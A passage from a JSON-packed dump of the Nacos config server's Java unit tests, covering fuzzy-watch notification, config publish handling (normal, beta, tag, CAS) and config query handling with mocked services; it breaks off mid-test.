rpcPushService;\n    \n    @Mock\n    ConfigFuzzyWatchContextService configFuzzyWatchContextService;\n    \n    MockedStatic<ConfigExecutor> tMockedStatic;\n    \n    @AfterEach\n    void after() {\n        tMockedStatic.close();\n    }\n    \n    @BeforeEach\n    void setUp() throws IOException {\n        tMockedStatic = Mockito.mockStatic(ConfigExecutor.class);\n        configFuzzyWatchSyncNotifier = new ConfigFuzzyWatchSyncNotifier(connectionManager, rpcPushService,\n                configFuzzyWatchContextService);\n    }\n    \n    @Test\n    void testInitNotifyWithoutMatchGroupKeys() {\n        String connectionId = \"conn12345678\";\n        String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(\"dataId*\", \"group\", \"tnnt1234\");\n        ConfigFuzzyWatchEvent configFuzzyWatchEvent = new ConfigFuzzyWatchEvent(connectionId, null, groupKeyPattern,\n                true);\n        configFuzzyWatchSyncNotifier.onEvent(configFuzzyWatchEvent);\n        tMockedStatic.verify(\n                () -> ConfigExecutor.scheduleClientConfigNotifier(any(FuzzyWatchSyncNotifyTask.class), eq(0L),\n                        eq(TimeUnit.SECONDS)), times(1));\n        \n    }\n    \n    @Test\n    void testInitNotifyWithMatchGroupKeys() {\n        \n        String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(\"dataId*\", \"group\", \"tnnt1234\");\n        Set<String> matchGroupKeys = new HashSet<>();\n        int batchSize = ConfigCommonConfig.getInstance().getBatchSize();\n        for (int i = batchSize; i < batchSize * 2; i++) {\n            matchGroupKeys.add(GroupKey.getKeyTenant(\"dataId\" + i, \"group\", \"tnnt1234\"));\n        }\n        Set<String> clientMatchGroupKeys = new HashSet<>();\n        for (int i = 0; i < batchSize; i++) {\n            clientMatchGroupKeys.add(GroupKey.getKeyTenant(\"dataId\" + i, \"group\", \"tnnt1234\"));\n        }\n        \n        when(configFuzzyWatchContextService.matchGroupKeys(groupKeyPattern)).thenReturn(matchGroupKeys);\n        when(configFuzzyWatchContextService.reachToUpLimit(eq(groupKeyPattern))).thenReturn(false);\n        String connectionId = \"conn12345678\";\n    \n        ConfigFuzzyWatchEvent configFuzzyWatchEvent = new ConfigFuzzyWatchEvent(connectionId, clientMatchGroupKeys,\n                groupKeyPattern, true);\n        configFuzzyWatchSyncNotifier.onEvent(configFuzzyWatchEvent);\n        tMockedStatic.verify(\n                () -> ConfigExecutor.scheduleClientConfigNotifier(any(FuzzyWatchSyncNotifyTask.class), eq(0L),\n                        eq(TimeUnit.SECONDS)), times(2));\n        \n    }\n    \n    @Test\n    void testInitNotifyWithMatchGroupKeysOnDeleteProtection() {\n        \n        String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(\"dataId*\", \"group\", \"tnnt1234\");\n        \n        Set<String> matchGroupKeys = new HashSet<>();\n        int batchSize = ConfigCommonConfig.getInstance().getBatchSize();\n        for (int i = batchSize; i < batchSize * 2; i++) {\n            matchGroupKeys.add(GroupKey.getKeyTenant(\"dataId\" + i, \"group\", \"tnnt1234\"));\n        }\n        Set<String> clientMatchGroupKeys = new HashSet<>();\n        for (int i = 0; i < batchSize; i++) {\n            clientMatchGroupKeys.add(GroupKey.getKeyTenant(\"dataId\" + i, \"group\", \"tnnt1234\"));\n        }\n        \n        when(configFuzzyWatchContextService.matchGroupKeys(groupKeyPattern)).thenReturn(matchGroupKeys);\n        when(configFuzzyWatchContextService.reachToUpLimit(eq(groupKeyPattern))).thenReturn(true);\n        String connectionId = \"conn12345678\";\n        ConfigFuzzyWatchEvent configFuzzyWatchEvent = new ConfigFuzzyWatchEvent(connectionId, clientMatchGroupKeys,\n                groupKeyPattern, true);\n        configFuzzyWatchSyncNotifier.onEvent(configFuzzyWatchEvent);\n        tMockedStatic.verify(\n                () -> ConfigExecutor.scheduleClientConfigNotifier(any(FuzzyWatchSyncNotifyTask.class), eq(0L),\n                        eq(TimeUnit.SECONDS)), times(1));\n        \n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/remote/ConfigPublishRequestHandlerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigPublishRequest;\nimport com.alibaba.nacos.api.config.remote.response.ConfigPublishResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.model.event.ConfigDataChangeEvent;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.service.ConfigMigrateService;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.persistence.configuration.DatasourceConfiguration;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.concurrent.atomic.AtomicReference;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass ConfigPublishRequestHandlerTest {\n    \n    @Mock\n    ConfigInfoPersistService configInfoPersistService;\n    \n    @Mock\n    ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    @Mock\n    ConfigMigrateService configMigrateService;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    private ConfigPublishRequestHandler configPublishRequestHandler;\n    \n    @BeforeEach\n    void setUp() {\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        ConfigOperationService configOperationService = new ConfigOperationService(configInfoPersistService,\n                configInfoGrayPersistService, configMigrateService);\n        configPublishRequestHandler = new ConfigPublishRequestHandler(configOperationService);\n        DatasourceConfiguration.setEmbeddedStorage(false);\n    }\n    \n    @AfterEach\n    void after() {\n        envUtilMockedStatic.close();\n    }\n    \n    /**\n     * publish a not-exist config. expect : 1.response return true 2. publish ConfigDataChangeEvent\n     *\n     * @throws Exception exception.\n     */\n    @Test\n    void testNormalPublishConfigNotCas() throws Exception {\n        String dataId = \"testNormalPublishConfigNotCas\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String content = \"content\";\n        \n        ConfigPublishRequest configPublishRequest = new ConfigPublishRequest();\n        configPublishRequest.setDataId(dataId);\n        configPublishRequest.setGroup(group);\n        configPublishRequest.setTenant(tenant);\n        configPublishRequest.setContent(content);\n        Map<String, String> keyMap = new HashMap<>();\n        String srcUser = \"src_user111\";\n        keyMap.put(\"src_user\", srcUser);\n        configPublishRequest.setAdditionMap(keyMap);\n        \n        RequestMeta requestMeta = new RequestMeta();\n        String clientIp = \"127.0.0.1\";\n        requestMeta.setClientIp(clientIp);\n        \n        AtomicReference<ConfigDataChangeEvent> reference = new AtomicReference<>();\n        NotifyCenter.registerSubscriber(new Subscriber() {\n            \n            @Override\n            public void onEvent(Event event) {\n                ConfigDataChangeEvent event1 = (ConfigDataChangeEvent) event;\n                if (event1.dataId.equals(dataId)) {\n                    reference.set((ConfigDataChangeEvent) event);\n                }\n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return ConfigDataChangeEvent.class;\n            }\n        });\n        \n        ConfigOperateResult configOperateResult = new ConfigOperateResult(true);\n        long timestamp = System.currentTimeMillis();\n        long id = timestamp / 1000;\n        configOperateResult.setId(id);\n        configOperateResult.setLastModified(timestamp);\n        when(configInfoPersistService.insertOrUpdate(eq(requestMeta.getClientIp()), eq(srcUser), any(ConfigInfo.class),\n                any(Map.class))).thenReturn(configOperateResult);\n        ConfigPublishResponse response = configPublishRequestHandler.handle(configPublishRequest, requestMeta);\n        \n        assertEquals(ResponseCode.SUCCESS.getCode(), response.getResultCode());\n        Thread.sleep(500L);\n        assertTrue(reference.get() != null);\n        assertEquals(dataId, reference.get().dataId);\n        assertEquals(group, reference.get().group);\n        assertEquals(tenant, reference.get().tenant);\n        assertEquals(timestamp, reference.get().lastModifiedTs);\n        \n    }\n    \n    /**\n     * publish a exist config.\n     *\n     * @throws Exception exception.\n     */\n    @Test\n    void testNormalPublishConfigCas() throws Exception {\n        String dataId = \"testNormalPublishConfigCas\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String content = \"content\";\n        \n        ConfigPublishRequest configPublishRequest = new ConfigPublishRequest();\n        configPublishRequest.setDataId(dataId);\n        configPublishRequest.setGroup(group);\n        configPublishRequest.setTenant(tenant);\n        configPublishRequest.setContent(content);\n        configPublishRequest.setCasMd5(\"12314532\");\n        Map<String, String> keyMap = new HashMap<>();\n        String srcUser = \"src_user111\";\n        keyMap.put(\"src_user\", srcUser);\n        configPublishRequest.setAdditionMap(keyMap);\n        \n        RequestMeta requestMeta = new RequestMeta();\n        String clientIp = \"127.0.0.1\";\n        requestMeta.setClientIp(clientIp);\n        \n        AtomicReference<ConfigDataChangeEvent> reference = new AtomicReference<>();\n        NotifyCenter.registerSubscriber(new Subscriber() {\n            \n            @Override\n            public void onEvent(Event event) {\n                ConfigDataChangeEvent event1 = (ConfigDataChangeEvent) event;\n                if (event1.dataId.equals(dataId)) {\n                    reference.set((ConfigDataChangeEvent) event);\n                }\n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return ConfigDataChangeEvent.class;\n            }\n        });\n        \n        ConfigOperateResult configOperateResult = new ConfigOperateResult(true);\n        long timestamp = System.currentTimeMillis();\n        long id = timestamp / 1000;\n        configOperateResult.setId(id);\n        configOperateResult.setLastModified(timestamp);\n        when(configInfoPersistService.insertOrUpdateCas(eq(requestMeta.getClientIp()), eq(srcUser),\n                any(ConfigInfo.class), any(Map.class))).thenReturn(configOperateResult);\n        ConfigPublishResponse response = configPublishRequestHandler.handle(configPublishRequest, requestMeta);\n        \n        assertEquals(ResponseCode.SUCCESS.getCode(), response.getResultCode());\n        Thread.sleep(500L);\n        assertTrue(reference.get() != null);\n        assertEquals(dataId, reference.get().dataId);\n        assertEquals(group, reference.get().group);\n        assertEquals(tenant, reference.get().tenant);\n        assertEquals(timestamp, reference.get().lastModifiedTs);\n    }\n    \n    /**\n     * publish a exist config.\n     *\n     * @throws Exception exception.\n     */\n    @Test\n    void testNormalPublishConfigCasError() throws Exception {\n        String dataId = \"testNormalPublishConfigCasError\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String content = \"content\";\n        \n        ConfigPublishRequest configPublishRequest = new ConfigPublishRequest();\n        configPublishRequest.setDataId(dataId);\n        configPublishRequest.setGroup(group);\n        configPublishRequest.setTenant(tenant);\n        configPublishRequest.setContent(content);\n        configPublishRequest.setCasMd5(\"12314532\");\n        Map<String, String> keyMap = new HashMap<>();\n        String srcUser = \"src_user111\";\n        keyMap.put(\"src_user\", srcUser);\n        configPublishRequest.setAdditionMap(keyMap);\n        \n        RequestMeta requestMeta = new RequestMeta();\n        String clientIp = \"127.0.0.1\";\n        requestMeta.setClientIp(clientIp);\n        \n        ConfigInfoStateWrapper configInfoStateWrapper = new ConfigInfoStateWrapper();\n        configInfoStateWrapper.setId(12345678);\n        long timeStamp = System.currentTimeMillis();\n        configInfoStateWrapper.setLastModified(timeStamp);\n        \n        AtomicReference<ConfigDataChangeEvent> reference = new AtomicReference<>();\n        NotifyCenter.registerSubscriber(new Subscriber() {\n            \n            @Override\n            public void onEvent(Event event) {\n                ConfigDataChangeEvent event1 = (ConfigDataChangeEvent) event;\n                if (event1.dataId.equals(dataId)) {\n                    reference.set((ConfigDataChangeEvent) event);\n                }\n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return ConfigDataChangeEvent.class;\n            }\n        });\n        \n        ConfigOperateResult configOperateResult = new ConfigOperateResult(true);\n        long timestamp = System.currentTimeMillis();\n        long id = timestamp / 1000;\n        configOperateResult.setId(id);\n        configOperateResult.setLastModified(timestamp);\n        when(configInfoPersistService.insertOrUpdateCas(eq(requestMeta.getClientIp()), eq(srcUser),\n                any(ConfigInfo.class), any(Map.class))).thenThrow(new NacosRuntimeException(502, \"mock error\"));\n        ConfigPublishResponse response = configPublishRequestHandler.handle(configPublishRequest, requestMeta);\n        \n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertTrue(response.getMessage().contains(\"mock error\"));\n        Thread.sleep(500L);\n        assertTrue(reference.get() == null);\n        \n    }\n    \n    @Test\n    void testBetaPublishNotCas() throws NacosException, InterruptedException {\n        String dataId = \"testBetaPublish\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String content = \"content\";\n        \n        ConfigPublishRequest configPublishRequest = new ConfigPublishRequest();\n        configPublishRequest.setDataId(dataId);\n        configPublishRequest.setGroup(group);\n        configPublishRequest.setTenant(tenant);\n        configPublishRequest.setContent(content);\n        Map<String, String> keyMap = new HashMap<>();\n        String srcUser = \"src_user111\";\n        keyMap.put(\"src_user\", srcUser);\n        String betaIps = \"127.0.0.1,127.0.0.2\";\n        keyMap.put(\"betaIps\", betaIps);\n        configPublishRequest.setAdditionMap(keyMap);\n        \n        RequestMeta requestMeta = new RequestMeta();\n        String clientIp = \"127.0.0.1\";\n        requestMeta.setClientIp(clientIp);\n        \n        AtomicReference<ConfigDataChangeEvent> reference = new AtomicReference<>();\n        NotifyCenter.registerSubscriber(new Subscriber() {\n            \n            @Override\n            public void onEvent(Event event) {\n                ConfigDataChangeEvent event1 = (ConfigDataChangeEvent) event;\n                if (event1.dataId.equals(dataId)) {\n                    reference.set((ConfigDataChangeEvent) event);\n                }\n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return ConfigDataChangeEvent.class;\n            }\n        });\n        \n        ConfigOperateResult configOperateResult = new ConfigOperateResult(true);\n        long timestamp = System.currentTimeMillis();\n        long id = timestamp / 1000;\n        configOperateResult.setId(id);\n        configOperateResult.setLastModified(timestamp);\n        when(configInfoGrayPersistService.insertOrUpdateGray(any(ConfigInfo.class), eq(BetaGrayRule.TYPE_BETA),\n                anyString(), eq(requestMeta.getClientIp()), eq(srcUser))).thenReturn(configOperateResult);\n        ConfigPublishResponse response = configPublishRequestHandler.handle(configPublishRequest, requestMeta);\n        \n        assertEquals(ResponseCode.SUCCESS.getCode(), response.getResultCode());\n        Thread.sleep(500L);\n        assertTrue(reference.get() != null);\n        assertEquals(dataId, reference.get().dataId);\n        assertEquals(group, reference.get().group);\n        assertEquals(tenant, reference.get().tenant);\n        assertEquals(timestamp, reference.get().lastModifiedTs);\n        assertEquals(\"beta\", reference.get().grayName);\n        \n    }\n    \n    @Test\n    void testBetaPublishCas() throws NacosException, InterruptedException {\n        String dataId = \"testBetaPublishCas\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String content = \"content\";\n        \n        ConfigPublishRequest configPublishRequest = new ConfigPublishRequest();\n        configPublishRequest.setDataId(dataId);\n        configPublishRequest.setGroup(group);\n        configPublishRequest.setTenant(tenant);\n        configPublishRequest.setContent(content);\n        configPublishRequest.setCasMd5(\"12314532\");\n        Map<String, String> keyMap = new HashMap<>();\n        String srcUser = \"src_user111\";\n        keyMap.put(\"src_user\", srcUser);\n        String betaIps = \"127.0.0.1,127.0.0.2\";\n        keyMap.put(\"betaIps\", betaIps);\n        configPublishRequest.setAdditionMap(keyMap);\n        \n        RequestMeta requestMeta = new RequestMeta();\n        String clientIp = \"127.0.0.1\";\n        requestMeta.setClientIp(clientIp);\n        \n        AtomicReference<ConfigDataChangeEvent> reference = new AtomicReference<>();\n        NotifyCenter.registerSubscriber(new Subscriber() {\n            \n            @Override\n            public void onEvent(Event event) {\n                ConfigDataChangeEvent event1 = (ConfigDataChangeEvent) event;\n                if (event1.dataId.equals(dataId)) {\n                    reference.set((ConfigDataChangeEvent) event);\n                }\n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return ConfigDataChangeEvent.class;\n            }\n        });\n        \n        ConfigOperateResult configOperateResult = new ConfigOperateResult(true);\n        long timestamp = System.currentTimeMillis();\n        long id = timestamp / 1000;\n        configOperateResult.setId(id);\n        configOperateResult.setLastModified(timestamp);\n        \n        when(configInfoGrayPersistService.insertOrUpdateGrayCas(any(ConfigInfo.class), eq(BetaGrayRule.TYPE_BETA),\n                anyString(), eq(requestMeta.getClientIp()), eq(srcUser))).thenReturn(configOperateResult);\n        ConfigPublishResponse response = configPublishRequestHandler.handle(configPublishRequest, requestMeta);\n        \n        assertEquals(ResponseCode.SUCCESS.getCode(), response.getResultCode());\n        Thread.sleep(500L);\n        assertTrue(reference.get() != null);\n        assertEquals(dataId, reference.get().dataId);\n        assertEquals(group, reference.get().group);\n        assertEquals(tenant, reference.get().tenant);\n        assertEquals(timestamp, reference.get().lastModifiedTs);\n        assertEquals(tenant, reference.get().tenant);\n        assertEquals(\"beta\", reference.get().grayName);\n        \n    }\n    \n    @Test\n    void testTagPublishNotCas() throws NacosException, InterruptedException {\n        ConfigPublishRequest configPublishRequest = new ConfigPublishRequest();\n        String dataId = \"testTagPublishNotCas\";\n        \n        configPublishRequest.setDataId(dataId);\n        String group = \"group\";\n        \n        configPublishRequest.setGroup(group);\n        String tenant = \"tenant\";\n        \n        configPublishRequest.setTenant(tenant);\n        \n        Map<String, String> keyMap = new HashMap<>();\n        String srcUser = \"src_user111\";\n        keyMap.put(\"src_user\", srcUser);\n        String tag = \"testTag\";\n        keyMap.put(\"tag\", tag);\n        configPublishRequest.setAdditionMap(keyMap);\n        String content = \"content\";\n        configPublishRequest.setContent(content);\n        RequestMeta requestMeta = new RequestMeta();\n        requestMeta.setClientIp(\"127.0.0.1\");\n        \n        AtomicReference<ConfigDataChangeEvent> reference = new AtomicReference<>();\n        \n        NotifyCenter.registerSubscriber(new Subscriber() {\n            \n            @Override\n            public void onEvent(Event event) {\n                ConfigDataChangeEvent event1 = (ConfigDataChangeEvent) event;\n                if (event1.dataId.equals(dataId)) {\n                    reference.set((ConfigDataChangeEvent) event);\n                }\n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return ConfigDataChangeEvent.class;\n            }\n        });\n        \n        ConfigOperateResult configOperateResult = new ConfigOperateResult(true);\n        long timestamp = System.currentTimeMillis();\n        long id = timestamp / 1000;\n        configOperateResult.setId(id);\n        configOperateResult.setLastModified(timestamp);\n        \n        when(configInfoGrayPersistService.insertOrUpdateGray(any(ConfigInfo.class), eq(\"tag_\" + tag), anyString(),\n                eq(requestMeta.getClientIp()), eq(srcUser))).thenReturn(configOperateResult);\n        ConfigPublishResponse response = configPublishRequestHandler.handle(configPublishRequest, requestMeta);\n        \n        assertEquals(ResponseCode.SUCCESS.getCode(), response.getResultCode());\n        Thread.sleep(500L);\n        assertTrue(reference.get() != null);\n        assertEquals(dataId, reference.get().dataId);\n        assertEquals(group, reference.get().group);\n        assertEquals(tenant, reference.get().tenant);\n        assertEquals(timestamp, reference.get().lastModifiedTs);\n        \n        assertEquals(\"tag_\" + tag, reference.get().grayName);\n        \n    }\n    \n    @Test\n    void testTagPublishCas() throws NacosException, InterruptedException {\n        String dataId = \"testTagPublishCas\";\n        String group = \"group\";\n        ConfigPublishRequest configPublishRequest = new ConfigPublishRequest();\n        configPublishRequest.setDataId(dataId);\n        configPublishRequest.setGroup(group);\n        configPublishRequest.setCasMd5(\"casmd512\");\n        Map<String, String> keyMap = new HashMap<>();\n        String srcUser = \"src_user111\";\n        keyMap.put(\"src_user\", srcUser);\n        String tag = \"testTag\";\n        keyMap.put(\"tag\", tag);\n        configPublishRequest.setAdditionMap(keyMap);\n        String tenant = \"tenant\";\n        configPublishRequest.setTenant(tenant);\n        String content = \"content\";\n        configPublishRequest.setContent(content);\n        RequestMeta requestMeta = new RequestMeta();\n        requestMeta.setClientIp(\"127.0.0.1\");\n        \n        AtomicReference<ConfigDataChangeEvent> reference = new AtomicReference<>();\n        \n        NotifyCenter.registerSubscriber(new Subscriber() {\n            \n            @Override\n            public void onEvent(Event event) {\n                reference.set((ConfigDataChangeEvent) event);\n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return ConfigDataChangeEvent.class;\n            }\n        });\n        \n        ConfigOperateResult configOperateResult = new ConfigOperateResult(true);\n        long timestamp = System.currentTimeMillis();\n        long id = timestamp / 1000;\n        configOperateResult.setId(id);\n        configOperateResult.setLastModified(timestamp);\n        \n        when(configInfoGrayPersistService.insertOrUpdateGrayCas(any(ConfigInfo.class), eq(\"tag_\" + tag), anyString(),\n                eq(requestMeta.getClientIp()), eq(srcUser))).thenReturn(configOperateResult);\n        ConfigPublishResponse response = configPublishRequestHandler.handle(configPublishRequest, requestMeta);\n        \n        assertEquals(ResponseCode.SUCCESS.getCode(), response.getResultCode());\n        Thread.sleep(500L);\n        assertTrue(reference.get() != null);\n        assertEquals(dataId, reference.get().dataId);\n        assertEquals(group, reference.get().group);\n        assertEquals(tenant, reference.get().tenant);\n        assertEquals(timestamp, reference.get().lastModifiedTs);\n        assertEquals(\"tag_\" + tag, reference.get().grayName);\n    }\n    \n}"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/remote/ConfigQueryRequestHandlerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.remote.request.ConfigQueryRequest;\nimport com.alibaba.nacos.api.config.remote.response.ConfigQueryResponse;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.model.ConfigCacheGray;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.ConfigGrayPersistInfo;\nimport com.alibaba.nacos.config.server.model.gray.GrayRuleManager;\nimport com.alibaba.nacos.config.server.model.gray.TagGrayRule;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskServiceFactory;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigRocksDbDiskService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.core.env.StandardEnvironment;\n\nimport java.io.IOException;\n\nimport static com.alibaba.nacos.api.common.Constants.VIPSERVER_TAG;\nimport static com.alibaba.nacos.api.config.remote.response.ConfigQueryResponse.CONFIG_NOT_FOUND;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n// todo open the test case\n@ExtendWith(MockitoExtension.class)\nclass ConfigQueryRequestHandlerTest {\n    \n    static MockedStatic<ConfigCacheService> configCacheServiceMockedStatic;\n    \n    static MockedStatic<PropertyUtil> propertyUtilMockedStatic;\n    \n    static MockedStatic<ConfigDiskServiceFactory> configDiskServiceFactoryMockedStatic;\n    \n    String dataId = \"dataId\" + System.currentTimeMillis();\n    \n    String group = \"group\" + System.currentTimeMillis();\n    \n    String tenant = \"tenant\" + System.currentTimeMillis();\n    \n    String content = \"content\" + System.currentTimeMillis();\n    \n    private ConfigQueryRequestHandler configQueryRequestHandler;\n    \n    @AfterEach\n    void after() {\n        configCacheServiceMockedStatic.close();\n        propertyUtilMockedStatic.close();\n        configDiskServiceFactoryMockedStatic.close();\n        EnvUtil.setEnvironment(null);\n    }\n    \n    @BeforeEach\n    void setUp() throws IOException {\n        EnvUtil.setEnvironment(new StandardEnvironment());\n        configCacheServiceMockedStatic = Mockito.mockStatic(ConfigCacheService.class);\n        propertyUtilMockedStatic = Mockito.mockStatic(PropertyUtil.class);\n        configDiskServiceFactoryMockedStatic = Mockito.mockStatic(ConfigDiskServiceFactory.class);\n        configQueryRequestHandler = new ConfigQueryRequestHandler(new ConfigQueryChainService());\n        final String groupKey = GroupKey2.getKey(dataId, group, Constants.DEFAULT_NAMESPACE_ID);\n        when(ConfigCacheService.tryConfigReadLock(groupKey)).thenReturn(1);\n        propertyUtilMockedStatic.when(PropertyUtil::getMaxContent).thenReturn(1024 * 1000);\n    }\n    \n    /**\n     * get normal config from local disk.\n     *\n     * @throws Exception Exception.\n     */\n    @Test\n    void testGetNormal() throws Exception {\n        \n        final String groupKey = GroupKey2.getKey(dataId, group, Constants.DEFAULT_NAMESPACE_ID);\n        String content = \"content_from_notdirectreadÄãºÃ\" + System.currentTimeMillis();\n        ConfigRocksDbDiskService configRocksDbDiskService = Mockito.mock(ConfigRocksDbDiskService.class);\n        when(ConfigDiskServiceFactory.getInstance()).thenReturn(configRocksDbDiskService);\n        \n        CacheItem cacheItem = new CacheItem(groupKey);\n        cacheItem.getConfigCache().setMd5(MD5Utils.md5Hex(content, \"UTF-8\"));\n        cacheItem.getConfigCache().setEncryptedDataKey(\"key_testGetNormal_NotDirectRead\");\n        when(ConfigCacheService.getContentCache(eq(groupKey))).thenReturn(cacheItem);\n        \n        ConfigQueryRequest configQueryRequest = new ConfigQueryRequest();\n        configQueryRequest.setDataId(dataId);\n        configQueryRequest.setGroup(group);\n        RequestMeta requestMeta = new RequestMeta();\n        requestMeta.setClientIp(\"127.0.0.1\");\n        \n        when(configRocksDbDiskService.getContent(eq(dataId), eq(group), eq(Constants.DEFAULT_NAMESPACE_ID))).thenReturn(\n                content);\n        ConfigQueryResponse response = configQueryRequestHandler.handle(configQueryRequest, requestMeta);\n        assertEquals(content, response.getContent());\n        assertEquals(MD5Utils.md5Hex(content, \"UTF-8\"), response.getMd5());\n        assertEquals(\"key_testGetNormal_NotDirectRead\", response.getEncryptedDataKey());\n        \n        assertFalse(response.isBeta());\n        assertNull(response.getTag());\n        \n        assertEquals(content, response.getContent());\n    }\n    \n    \n    /**\n     * get beta config from local disk.\n     *\n     * @throws Exception Exception.\n     */\n    @Test\n    void testGetBeta() throws Exception {\n        \n        final String groupKey = GroupKey2.getKey(dataId, group, Constants.DEFAULT_NAMESPACE_ID);\n        ConfigRocksDbDiskService configRocksDbDiskService = Mockito.mock(ConfigRocksDbDiskService.class);\n        when(ConfigDiskServiceFactory.getInstance()).thenReturn(configRocksDbDiskService);\n        \n        CacheItem cacheItem = new CacheItem(groupKey);\n        cacheItem.initConfigGrayIfEmpty(BetaGrayRule.TYPE_BETA);\n        String content = \"content_from_beta_notdirectreadÄãºÃ\" + System.currentTimeMillis();\n        ConfigCacheGray configCacheGrayBeta = cacheItem.getConfigCacheGray().get(BetaGrayRule.TYPE_BETA);\n        configCacheGrayBeta.setMd5(MD5Utils.md5Hex(content, \"UTF-8\"));\n        configCacheGrayBeta.setEncryptedDataKey(\"key_testGetBeta_NotDirectRead\");\n        ConfigGrayPersistInfo configGrayPersistInfo = new ConfigGrayPersistInfo(BetaGrayRule.TYPE_BETA,\n                BetaGrayRule.VERSION, \"127.0.0.1\", -1000);\n        configCacheGrayBeta.resetGrayRule(GrayRuleManager.serializeConfigGrayPersistInfo(configGrayPersistInfo));\n        cacheItem.sortConfigGray();\n        when(ConfigCacheService.getContentCache(eq(groupKey))).thenReturn(cacheItem);\n        \n        ConfigQueryRequest configQueryRequest = new ConfigQueryRequest();\n        configQueryRequest.setDataId(dataId);\n        configQueryRequest.setGroup(group);\n        RequestMeta requestMeta = new RequestMeta();\n        requestMeta.setClientIp(\"127.0.0.1\");\n        